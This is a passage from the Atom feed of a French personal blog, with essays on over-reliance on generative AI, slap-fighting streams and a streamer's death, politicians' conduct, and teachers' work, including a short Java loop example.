&lt;p&gt;Ceci dit, présenter le travail d&amp;rsquo;un ou d&amp;rsquo;une enseignante, oui. Pourquoi pas. Pour que les gens se rendent compte de la réalité du métier.  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mais présenter n&amp;rsquo;est pas justifier&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Présenter, c&amp;rsquo;est dire : « Voici ce que je fais, voici pourquoi c&amp;rsquo;est essentiel, pourquoi c&amp;rsquo;est important, voici ce dont j&amp;rsquo;ai besoin pour mieux faire. ». Justifier par contre, c&amp;rsquo;est dire : « Promis, je travaille, ne me &lt;em&gt;bashez&lt;/em&gt; pas. ». Tu sens la différence ?&lt;/p&gt;
&lt;p&gt;Dans tous les jobs, certaines personnes font leur travail consciencieusement et d&amp;rsquo;autres non. L&amp;rsquo;enseignement n&amp;rsquo;y échappe pas. Mais si, en tant que profession, on se sent collectivement obligé de se justifier, c&amp;rsquo;est qu&amp;rsquo;&lt;strong&gt;ils&lt;/strong&gt; ont gagné : le travail est dénigré, dévalué, remis en question. Ils ? Les politiques, les chroniqueurs du dimanche, la partie de l&amp;rsquo;opinion publique qui se nourrit de clichés… &lt;/p&gt;
&lt;p&gt;Comme dirait l&amp;rsquo;autre…&lt;/p&gt;
&lt;p&gt;&lt;a href="2018-01-09-heureusement-on-a-une-bonne-retraite.html"&gt;Heureusement qu&amp;rsquo;on a une bonne retraite&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Une profession complète ne devrait pas devoir &lt;strong&gt;justifier&lt;/strong&gt; qu&amp;rsquo;elle travaille. Elle devrait être aidée à &lt;strong&gt;travailler&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
&lt;em&gt;Crédit photo, IA. Image d&amp;rsquo;un enseignant générée par Copilot et les variations présentées ici l&amp;rsquo;on été par Gemini.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>C'est trop facile</title><link href="http://blog.namok.be/2025-09-03-c-est-trop-facile.html" rel="alternate"/><published>2025-09-03T00:00:00+02:00</published><updated>2025-09-03T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2025-09-03:/2025-09-03-c-est-trop-facile.html</id><summary type="html">Plus facile, c'est bien. Trop facile c'est mal.</summary><content type="html">&lt;p&gt;&lt;img .width="100%" alt="IA - copie réaliste des gens qui glissent dans le vaisseau de Wall-E" src="/images/copilot-wall-e.png" title="IA - copie réaliste des gens qui glissent dans le vaisseau de Wall-E"&gt;&lt;/p&gt;
&lt;p&gt;Je suis fraichement engagé pour faire du support chez ACME, une société qui fabrique de la dynamite pour Vil Coyote afin qu&amp;rsquo;il puisse un jour attraper Bip Bip (&lt;em&gt;ref. inside&lt;/em&gt;). Comme je suis nouveau dans la boite, je réponds aux tickets &lt;em&gt;simples&lt;/em&gt; et lorsque c&amp;rsquo;est plus compliqué, je peux demander à ma cheffe. Pour m&amp;rsquo;aider dans ma tâche, nous avons une FAQ interne contenant les problèmes les plus fréquents. &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;autre jour, je me retrouve confronté à un ticket un peu plus compliqué et je me lève en direction du bureau de ma cheffe. &lt;/p&gt;
&lt;p&gt;Ma cheffe — on dit &lt;em&gt;n+1&lt;/em&gt; maintenant — a mis ce texte sur sa porte : &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Avant de me déranger, as-tu cherché ?&lt;br&gt;
As-tu consulté la FAQ interne ? &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J&amp;rsquo;hésite.  &lt;br&gt;
Je frappe et j&amp;rsquo;attends.&lt;br&gt;
J&amp;rsquo;entre.  &lt;strong&gt;C&amp;rsquo;est plus facile&lt;/strong&gt; que de chercher. &lt;/p&gt;
&lt;p&gt;Je me suis fait un peu allumer. La réponse était facilement trouvable dans la FAQ. Verdict : un joli &lt;em&gt;RTFM&lt;/em&gt; ! &lt;/p&gt;
&lt;p&gt;&lt;a href="2016-12-19-bon-anniversaire-netiquette.html"&gt;Rappel : la Netiquette nous propose que faire avant de poser une question&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Je suis étudiant en informatique et pour mon projet, mon groupe et moi avons — bien sûr — utilisé l&amp;rsquo;IAG &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. C&amp;rsquo;est intégré dans nos outils et &lt;strong&gt;c&amp;rsquo;est plus facile&lt;/strong&gt;. Beaucoup plus facile. Je suis en deuxième année et lors de la défense de mon projet, mon prof me montre ces quelques lignes de code :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;IntStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;processFunction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// appel au service OCR ici&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;— Qu&amp;rsquo;est-ce que tu penses de ce code ? me dit-il en ajoutant immédiatement &lt;em&gt;spoiler alert&lt;/em&gt;, c&amp;rsquo;est pourri. &lt;/p&gt;
&lt;p&gt;Je tente de lui expliquer ce que fait ce code en traduisant tant bien que mal les mots. &lt;/p&gt;
&lt;p&gt;— J&amp;rsquo;ai bien compris le code me dit-il alors, je demande si on ne pourrait pas écrire ça plus simplement et de manière plus lisible.&lt;br&gt;
— …&lt;br&gt;
— Tu parcours bien une liste de &lt;code&gt;File&lt;/code&gt; ? Écris moi un simple &lt;em&gt;for each&lt;/em&gt; sans l&amp;rsquo;aide de l&amp;rsquo;IAG.&lt;/p&gt;
&lt;p&gt;Silence.&lt;br&gt;
J&amp;rsquo;échoue.  &lt;/p&gt;
&lt;p&gt;Je me suis fait un peu allumer car je n&amp;rsquo;ai pas réussi à écrire cette instruction que le prof a finalement écrite&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;processFunction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="2016-06-29-il-m-a-pete-le-batard.html"&gt;Il m&amp;rsquo;a pèté le batard.&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;J&amp;rsquo;ai 15 ans et je voudrais boire quelques bières à l&amp;rsquo;étranger. Je demande à l&amp;rsquo;IA de changer le 2010 en 2005 sur cette image (je ne lui dit pas que c&amp;rsquo;est ma carte d’identité. Malin ! Hein ?). &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est passé mais c&amp;rsquo;est mon père qui m&amp;rsquo;a allumé. Faux et usage de faux me dit-il. J&amp;rsquo;ai pas voulu comprendre, &lt;strong&gt;c&amp;rsquo;était facile&lt;/strong&gt; à faire. &lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fin des histoires.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;— Si c&amp;rsquo;est plus facile, c&amp;rsquo;est bien non ? On n&amp;rsquo;est plus au moyen-âge, on a des voitures et plus des chariotes.&lt;br&gt;
— Exact, on peut se faciliter la tâche mais pas n&amp;rsquo;importe comment. &lt;/p&gt;
&lt;p&gt;Si tout devient trop facile, comme nous sommes, par essence, fainéant, on va glisser vite fait du progrès à la paresse. &lt;/p&gt;
&lt;p&gt;— Ouais ouais, le sens de l&amp;rsquo;effort. Toussa. &lt;em&gt;Boomer&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;Je ne rejette pas l&amp;rsquo;outil. Je l&amp;rsquo;utilise. J&amp;rsquo;essaie de l&amp;rsquo;utiliser avec parcimonie et c&amp;rsquo;est difficile. Je sais que c&amp;rsquo;est écologiquement une catastrophe. &lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.journaldugeek.com/2025/07/24/lia-vous-repond-mais-a-quel-prix-pour-la-planete-le-francais-mistral-brise-le-silence/"&gt;L&amp;rsquo;IA vous répond, mais à quel prix pour la planète ?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Je ne rejette pas l&amp;rsquo;outil mais je repense à Wall-E. Tu te rappelles tous les gros — on dit personnes en surpoids — qui glissent de leur fauteuils sans savoir se rattraper quand le vaisseau tangue ? Tu l&amp;rsquo;as ? Ils manquent (un peu) d&amp;rsquo;exercice et sont devenus fainéants et consommateurs. C&amp;rsquo;est pareil avec la trottinette électrique. C&amp;rsquo;est à la mode et c&amp;rsquo;est un piège. C&amp;rsquo;est génial si elle permet de faire une plus longue distance sans prendre la voiture. Mais c&amp;rsquo;est dommage si elle nous encourage à marcher moins. Je sais, c&amp;rsquo;est &lt;strong&gt;plus facile&lt;/strong&gt;. Utiliser une trottinette ou un autre &lt;em&gt;truc&lt;/em&gt; électrique, OK mais que pour faire une distance plus longue que celle que tu peux faire à pieds. &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;IA peut être comme ta trottinette : tu peux &lt;strong&gt;aller plus vite sans effort ou plus loin&lt;/strong&gt;. Tu peux choisir. Si tu les utilises pour éviter tout effort, tu risques de perdre l&amp;rsquo;habitude de marcher ou de réfléchir. La trottinette c&amp;rsquo;est bien pour de longues distances, mais si tu l’utilises pour aller au coin de la rue, tu oublies ce que c’est &lt;em&gt;marcher&lt;/em&gt;. L’IA, c’est pareil : elle est précieuse pour accélérer ou automatiser des tâches complexes, mais si tu lui délègues tout, tu risques de ne plus savoir résoudre les problèmes simples.  &lt;/p&gt;
&lt;p&gt;— Ouais, on a dit la même chose avec Internet et les encyclopédies. &lt;/p&gt;
&lt;p&gt;Avant de dégainer l’outil le plus puissant, est-ce qu’on maîtrise les bases ? Savoir utiliser un marteau avant de sortir la cloueuse, comprendre le &lt;em&gt;for each&lt;/em&gt; avant de demander à l’IA de tout coder. Les outils simples nous apprennent à réfléchir, à comprendre ce qu’on fait. Les outils complexes, eux, peuvent nous faire gagner du temps, mais à condition de ne pas oublier le chemin.&lt;/p&gt;
&lt;p&gt;Nous ne devons pas nous priver — même si &lt;strong&gt;c&amp;rsquo;est plus facile&lt;/strong&gt; — de l’effort, de la réflexion, de la satisfaction d’avoir compris sinon on devient spectateur, on consomme sans apprendre. &lt;/p&gt;
&lt;p&gt;— Plus facile c&amp;rsquo;est bien. Trop facile, c&amp;rsquo;est mal. J&amp;rsquo;ai bon ? &lt;/p&gt;
&lt;p&gt;Exact, se faciliter la tâche, c&amp;rsquo;est bien : ça aide, ça accompagne, ça ouvre des portes. Trop facile, c’est dangereux (le mot est fort ; dommage, risqué sont bien aussi) : ça ferme la curiosité, ça atrophie la compétence, ça bride ton envie d&amp;rsquo;apprendre, ça décourage la recherche, ça empêche de progresser.&lt;/p&gt;
&lt;p&gt;La vraie subtilité, c’est de savoir où placer le curseur. Utiliser l’outil, oui, mais sans oublier d’apprendre, de chercher, de comprendre. Parce qu’au final, &lt;strong&gt;ce qui compte, ce n’est pas juste d’aller vite, c’est de savoir pourquoi on avance&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br / &gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit image, Copilot : les gens qui glissent dans le vaisseau Axiom de Wall-E parce que pendant 1000 ans c&amp;rsquo;était plus facile de ne rien faire.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;L&amp;rsquo;intelligence artificielle générative &lt;em&gt;aka&lt;/em&gt; ChatGPT et consors.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Tout a commencé par une paire de baffes</title><link href="http://blog.namok.be/2025-08-30-tout-a-commence-par-une-paire-de-baffes.html" rel="alternate"/><published>2025-08-30T00:00:00+02:00</published><updated>2025-08-30T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2025-08-30:/2025-08-30-tout-a-commence-par-une-paire-de-baffes.html</id><summary type="html">Tout a commencé par une paire de baffes</summary><content type="html">&lt;p&gt;&lt;img .width="100%" alt="" src="/images/e99a5379-ba9d-41bc-a128-bb21154f9f00.png"&gt;&lt;/p&gt;
&lt;p&gt;Tout le monde a connu — ou vu ou entendu parler de — ces moments de testostérone où deux mecs, parce que ce sont toujours des mecs — enfin, c&amp;rsquo;était toujours des mecs et maintenant les filles s&amp;rsquo;y mettent aussi (bye bye &lt;em&gt;Miss Magie&lt;/em&gt;) — décident de se mettre une baffe chacun son tour. Les règles sont simples : pas de rancune, pas de coups bas, juste une claque, puis l&amp;rsquo;autre répond par une claque. Ça a commencé entre potes puis le cercle s&amp;rsquo;est agrandi. On a filmé. Les vidéos ont circulé, le jeu est devenu sport. &lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.rtbf.be/article/le-concours-de-claques-power-slap-nouveau-sport-de-combat-ou-betise-humaine-11291511"&gt;Power slap (ou slap fighting)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ça ne tue pas. Enfin, pas tout de suite.&lt;br&gt;
C&amp;rsquo;est chacun son tour.&lt;br&gt;
Il faut montrer que l&amp;rsquo;&lt;em&gt;on est un homme&lt;/em&gt;. On sait encaisser et on sait donner. &lt;/p&gt;
&lt;p&gt;Les arts martiaux, par contre, ont toujours leurs codes : respect, discipline, contrôle, tactique. Le MMA a un peu changé la donne puisque l&amp;rsquo;on peut frapper l&amp;rsquo;adversaire à terre mais les deux adversaires se respectent et sont à « égalité » : même catégorie de poids, même niveau d&amp;rsquo;apprentissage…&lt;/p&gt;
&lt;p&gt;Dans les années 90, il y a eu l&amp;rsquo;émission « Jackass » : deux gars, parfois plus, se lançaient des défis absurdes et dangereux. Chutes, coups, cascades insensées. Ils le faisaient ensemble, pour… heu… la gloire. Ils se blessaient parfois, étaient un peu malades et c&amp;rsquo;est tout. &lt;em&gt;Ils étaient très cons&lt;/em&gt; mais consentants, sans rapport de force entre eux. Juste une surenchère de bêtises. &lt;/p&gt;
&lt;p&gt;&lt;a href="https://fr.wikipedia.org/wiki/Jackass"&gt;Jackass&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Et internet.&lt;br&gt;
Et les réseaux sociaux.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, Kick et d&amp;rsquo;autres plateformes, ont un peu changé la donne. Ce n&amp;rsquo;est pas « &lt;em&gt;juste Jackass avec les technos d&amp;rsquo;aujourd&amp;rsquo;hui&lt;/em&gt; » &lt;em&gt;aka&lt;/em&gt; la diffusion instantanée partout, la viralité, le public anonyme comme avant mais qui peut réagir à grands coups de pouces 👍. &lt;/p&gt;
&lt;p&gt;La dynamique a changé et d&amp;rsquo;autres &lt;em&gt;jeux&lt;/em&gt; ont vu le jour. Ça a aussi commencé par une paire de baffes, puis deux équipes sont apparues, celle qui donne la baffe et celle qui la reçoit. C&amp;rsquo;est comme un bizutage mais avec &lt;strong&gt;beaucoup&lt;/strong&gt; de spectateurs (j&amp;rsquo;allais écrire et spectatrices mais je subodore encore que c&amp;rsquo;est une majorité de mecs) et de l&amp;rsquo;argent. Parce que ce n&amp;rsquo;est sans doute plus pour le &lt;em&gt;fun&lt;/em&gt; mais pour l&amp;rsquo;argent, pour le nombre de vues. Les spectateurs sont derrière leurs écrans, anonymes, mais actifs. Les vues montent, la pression aussi. Pour garder les followers, il faut aller plus loin, faire pire. La frontière entre le jeu et la violence s&amp;rsquo;efface.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://kick.com/jeanpormanove"&gt;Jean Pormanove&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pourtant ça démarrait gentiment : manger des &lt;em&gt;trucs bizarres&lt;/em&gt;, boire des mélanges improbables, dessiner au feutre sur le visage, raser ou tondre un peu, porter un costume un peu con, se faire lapider d&amp;rsquo;œufs ou autres… Tout ça peut se passer lors d&amp;rsquo;un bizutage. La différence, c&amp;rsquo;est qu&amp;rsquo;un bizutage, ça se passe &lt;em&gt;entre soi&lt;/em&gt;, dans un groupe restreint, sans caméra, sans argent, avec comme objectif d&amp;rsquo;intégrer la personne au groupe. &lt;/p&gt;
&lt;p&gt;Il y a à un moment un &lt;strong&gt;point de bascule&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Au début, c’est juste pour s’intégrer, pour faire partie du groupe, pour rigoler. Mais quand tu n&amp;rsquo;as plus d&amp;rsquo;&lt;strong&gt;empathie&lt;/strong&gt;, quand l&amp;rsquo;autre n&amp;rsquo;est plus un pote, quand tu vois le défi, le buzz, que le cercle s&amp;rsquo;agrandit et les followers te pressent, ça bascule. &lt;/p&gt;
&lt;p&gt;&lt;a href="2013-02-03-le-jeu-de-la-mort.html"&gt;Il faut pouvoir dire non.&lt;/a&gt;&lt;br&gt;
&lt;a href="https://blogs.mediapart.fr/lepodcastnormand/blog/210825/jean-pormanove-un-drame-de-notre-temps"&gt;Préférer la parole au combat.&lt;/a&gt;&lt;br&gt;
C&amp;rsquo;est difficile. &lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;était qu&amp;rsquo;une paire de baffes, au début.  &lt;/p&gt;
&lt;p&gt;Il est mort.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Billet suite à l&amp;rsquo;actualité. Le 18 août 2025, Jean Pormanove de son vrai nom Raphaël Graven, streamer de 46 ans, est mort pendant un live diffusé sur la plateforme Kick.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>J'aurais voulu être…</title><link href="http://blog.namok.be/2025-07-18-jaurais-voulu-etre.html" rel="alternate"/><published>2025-07-18T00:00:00+02:00</published><updated>2025-07-18T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2025-07-18:/2025-07-18-jaurais-voulu-etre.html</id><summary type="html">J'aurais voulu être…</summary><content type="html">&lt;p&gt;&lt;img alt="Miss monde au sénat (ai), juil. 2025" src="/images/miss-world.png" title="Miss monde au sénat (ai)"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;aurais voulu être un artiste… heu non, un personnage politique.&lt;/p&gt;
&lt;p&gt;— Mais pourquoi ?&lt;br&gt;
— Pour faire bouger les choses. Pour agir concrètement pour le climat. Pour améliorer le quotidien des gens. Pour construire « un monde meilleur » (&lt;em&gt;miss world inside&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;J&amp;rsquo;m voyais déjà en haut de l&amp;rsquo;affiche.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je me voyais bien montant à la tribune, défendant des projets qui ont du sens. Convaincre, rassembler, transformer. Changer les choses au lieu de râler devant la télé en regardant les infos, sur les réseaux sociaux. Partout. Tout le temps. Passer de « il faudrait que » à « nous allons faire ». De spectateur à acteur.&lt;/p&gt;
&lt;p&gt;&lt;a href="2018-02-13-si-je-devais-me-presenter-aux-elections.html"&gt;Engagez-vous qu&amp;rsquo;ils disaient&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Mais…&lt;/p&gt;
&lt;p&gt;Mais je regarde l&amp;rsquo;actualité politique — de Didier Reyndeirs à Georges-Louis Bouchez — et je me dis que je suis définitivement &lt;strong&gt;trop honnête&lt;/strong&gt; pour ce métier. Et pourtant, je ne me sens pas plus honnête qu&amp;rsquo;un autre. &lt;/p&gt;
&lt;p&gt;Les rares fois où j&amp;rsquo;ai regardé un réunion politique (que ce soit à la commune ou au Sénat) — masochisme bonjour — je me suis cru en fin d&amp;rsquo;une mauvaise corona. Et en corona, on est bourré. Ça excuse un peu. En politique, on peut être carrément honteux de leur manière de parler ; les interruptions, les petites phrases assassines, les détournements de questions, les réponses qui n&amp;rsquo;en sont pas… Et puis, crier sur l&amp;rsquo;autre. Sans s&amp;rsquo;écouter. &lt;/p&gt;
&lt;p&gt;&lt;a href="2014-01-08-bienveillance.html"&gt;Bienveillance&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Si un jour, ils me parlent de bienveillance, je tombe évanoui. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Il y a une telle &lt;strong&gt;déconnexion&lt;/strong&gt; avec &lt;em&gt;nous&lt;/em&gt;. Mais qui suis-je ? Simplement un gars de la classe moyenne &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; qui s&amp;rsquo;en sors très bien. &lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/charlotte.moors.14/posts/10171821627885576"&gt;Témoignage d&amp;rsquo;une maman solo qui s&amp;rsquo;en sort (Facebook)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Est-ce que l&amp;rsquo;on pourrait faire autrement si on y était ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Le système semble tel qu&amp;rsquo;il formate celles et ceux qui y entrent. Ou alors, il ne laisse émerger que celles et ceux qui acceptent ses règles tacites. Ou bien, &lt;em&gt;il faut être tombé dedans quand t&amp;rsquo;étais petit&lt;/em&gt;. L&amp;rsquo;art du compromis devient l&amp;rsquo;art de la compromission. La nécessaire diplomatie se transforme en langue de bois. La stratégie politique prend le pas sur la conviction.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Bouh.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Et pendant ce temps, mes enfants grandissent. &lt;/p&gt;
&lt;p&gt;Ils grandissent en âge et en sagesse (si si) et — comme la plupart d&amp;rsquo;entre vous — j&amp;rsquo;explique qu&amp;rsquo;il faut être honnête, respectueux, écouter les autres, dire la vérité, exprimer &lt;a href="2016-05-25-gueuler-avec-bienveillance.html"&gt;ses sentiments&lt;/a&gt;… quand les exemples du monde politique montrent exactement l&amp;rsquo;inverse. Comment leur enseigner le débat constructif quand les adultes qui nous représentent (&lt;em&gt;sic&lt;/em&gt;) s&amp;rsquo;interrompent sans cesse et s&amp;rsquo;invectivent ? Comment leur parler de respect quand nos élus se moquent publiquement de leurs opposants ? Comment illustrer l&amp;rsquo;empathie quand les personnes qui devraient montrer l&amp;rsquo;exemple semblent incapables de se mettre à la place des autres ou le font très mal ? &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Les enfants. Faites ce que l&amp;rsquo;on vous conseille et vous montre mais pas ce que font les politiques.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;#notAllPolitics&lt;/em&gt; je sais. Je sais que certaines personnes essaient mais vous n&amp;rsquo;êtes pas légion. &lt;/p&gt;
&lt;p&gt;On peut être authentique et efficace.&lt;br&gt;
On peut transformer sans se transformer.&lt;br&gt;
On peut convaincre sans manipuler.&lt;/p&gt;
&lt;p&gt;Non ?&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;En tout cas &lt;a href="2012-10-08-je-ne-voterai-pas-pour-kevin.html"&gt;je ne serai toujours pas Kévin&lt;/a&gt;, je ne me présenterai jamais — pas fou le mec — et je reste dans mon coin à écrire de temps en temps un article de blog alors qu&amp;rsquo;il y a plein d&amp;rsquo;autres choses à faire.&lt;/p&gt;
&lt;p&gt;— Tu ne serais pas en train de faire de la politique, là, avec ton blog ?&lt;br&gt;
— Chut.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo Copilot&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;La notion de &lt;em&gt;classe moyenne&lt;/em&gt; est bien floue. Si je me réfère à &lt;a href="https://www.rtbf.be/article/c-est-quoi-la-classe-moyenne-en-faites-vous-partie-10927841"&gt;cet article de la RTBF&lt;/a&gt; fort bien écrit, toutes les personnes que je connais en font partie. Je pense que tous et toutes ont un revenu compris entre 1500 et 6000 € net/mois. Imagine maintenant, la différence de vie si tu as 1500€ ou 6000€.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Il faut dire des conneries</title><link href="http://blog.namok.be/2025-07-05-il-faut-dire-des-conneries.html" rel="alternate"/><published>2025-07-05T00:00:00+02:00</published><updated>2025-07-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2025-07-05:/2025-07-05-il-faut-dire-des-conneries.html</id><summary type="html">Pourquoi le second degré et les vannes entre amis sont un art de vivre indispensable ?</summary><content type="html">&lt;p&gt;&lt;img alt="le toit d'une yourte" src="/images/we_use_to_be_friend__by_octobrecrepusculaire.webp" title="le toit d'une yourte" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;« Faire les choses sérieusement sans se prendre au sérieux »&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Si tu me lis depuis longtemps, tu sais que c&amp;rsquo;est ma maxime depuis des années et c&amp;rsquo;est peut-être &lt;strong&gt;la réponse&lt;/strong&gt;. En tout cas, c&amp;rsquo;est ce qui me permet de tenir le coup depuis quarante-quelques années — je mens encore de 10 ans sur mon âge même si ça marche moins — sur cette planète qui devient de plus en plus compliquée (&lt;em&gt;endropose inside aussi&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;La vie est difficile et c&amp;rsquo;est tout : le climat qui part en vrille, le corps qui vieillit et qui commence à faire des bruits bizarres, les gens qui me semblent de plus en plus sérieux, les enfants qui découvrent que papa n&amp;rsquo;est finalement pas Superman (ça ils le savaient, c&amp;rsquo;est l&amp;rsquo;IA qui me le propose)… l&amp;rsquo;IA qui s&amp;rsquo;invite partout alors qu&amp;rsquo;elle n&amp;rsquo;est utile que parfois.&lt;/p&gt;
